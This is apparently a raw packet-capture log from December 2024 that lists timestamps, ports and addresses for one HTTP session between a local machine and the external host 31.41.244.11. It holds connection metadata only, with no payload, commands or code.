Dec 20, 2024 07:12:30.548538923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.548584938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.548625946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.549544096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.549732924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.549829006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.549875021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.550918102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.551022053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.551068068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.552129984 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.552171946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.552207947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.553282022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.553329945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.553375959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.553534031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.554488897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.554600000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.554646015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.555649042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.555748940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.555799007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.556843042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.557010889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.557061911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.558027029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.558082104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.558124065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.558165073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.559199095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.559248924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.559305906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.559398890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.560426950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.560478926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.560503006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.560542107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.561570883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.561618090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.561703920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.561748981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.562773943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.562830925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.562870026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.562916994 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.563955069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.564059973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.564105034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.565126896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.565181971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.565217018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.565259933 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.566319942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.566371918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.566412926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.566545010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.567507982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.567563057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.567605019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.567643881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.568672895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.568774939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.568795919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.568842888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.569894075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.569938898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.569993019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.570039034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.571063042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.571114063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.571155071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.571192980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.572206974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.572279930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.699274063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.699498892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.699557066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.699790001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.700045109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.700095892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.700182915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.700234890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.701282978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.701335907 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.701351881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.701394081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.702415943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.702469110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.702543020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.702717066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.703603029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.703716993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.703732967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.703759909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.704782009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.704828024 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.704902887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.704947948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.705948114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.705996990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.710036993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.710087061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.710127115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.710292101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.710608006 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.710663080 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.710747957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.710792065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.711844921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.711893082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.711929083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.711972952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.712982893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.713031054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.713077068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.713119984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.714195013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.714241028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.714374065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.714421988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.715342045 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.715394020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.715437889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.715481997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.716525078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.716573000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.716636896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.716681957 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.717742920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.717792034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.717824936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.717869043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.718920946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.718961954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.719037056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.719080925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.720089912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.720138073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.720212936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.720257044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.721261024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.721307039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.721378088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.721419096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.722469091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.722515106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.722562075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.722605944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.723649979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.723695993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.723737955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.723783016 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.724845886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.724891901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.724977016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.725023031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.726006985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.726052046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.726116896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.726161003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.727226019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.727272034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.727308989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.727353096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.728388071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.728492022 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.728538990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.729588985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.729764938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.729815006 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.730765104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.730809927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.730860949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.731942892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.731987000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.732031107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.733117104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.733158112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.733222961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.733267069 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.734313965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.734432936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.734479904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.735501051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.735618114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.735662937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.736666918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.736711979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.736785889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.737529993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.737865925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.737911940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.738099098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.738147974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.739072084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.739120007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.739185095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.739221096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.740241051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.740293026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.740335941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.740376949 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.741417885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.741460085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.741537094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.742654085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.742702961 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.742708921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.743788958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.743833065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.743916035 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.743957043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.744999886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.745141983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.745204926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.746154070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.746272087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.746316910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.747339964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.747380018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.747423887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.748528957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.748577118 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.748671055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.749531031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.749696970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.749824047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.749864101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.750932932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.750997066 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.751043081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.752082109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.752129078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.752209902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.753271103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.753313065 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.753355026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.753523111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.754468918 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.754551888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.754595995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.755618095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.755755901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.755811930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.756812096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.756859064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.756973028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.757529974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.758018017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.758063078 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.758116961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.758160114 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.759191036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.759233952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.759325027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.759365082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.760445118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.760469913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.760519981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.761543036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.761661053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.761720896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.762742043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.762788057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.762868881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.763942957 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.763991117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.891530037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.891619921 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.891813040 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.891853094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.891943932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.891949892 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.892041922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.893090963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.893184900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.893239021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.894239902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.894392014 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.894442081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.895488024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.895535946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.895581007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.896605968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.896665096 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.896745920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.897531986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.897757053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.897912025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.897964954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.898907900 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.901540041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.902071953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.902201891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.902256012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.902636051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.902904034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.902937889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.902956963 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.902982950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.904057026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.904186964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.904242039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.905241966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.905374050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.905426025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.906441927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.906546116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.906599045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.907620907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.907679081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.907768011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.908798933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.908848047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.908926964 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.909532070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.909992933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.910105944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.910152912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.911175966 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.911308050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.911364079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.912341118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.912394047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.912452936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.913528919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.913608074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.913642883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.913657904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.913688898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.914736986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.914787054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.914849997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.914897919 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.915909052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.915956974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.916021109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:30.916065931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:30.917097092 CET	80	49801	31.41.244.11	192.168.2.4
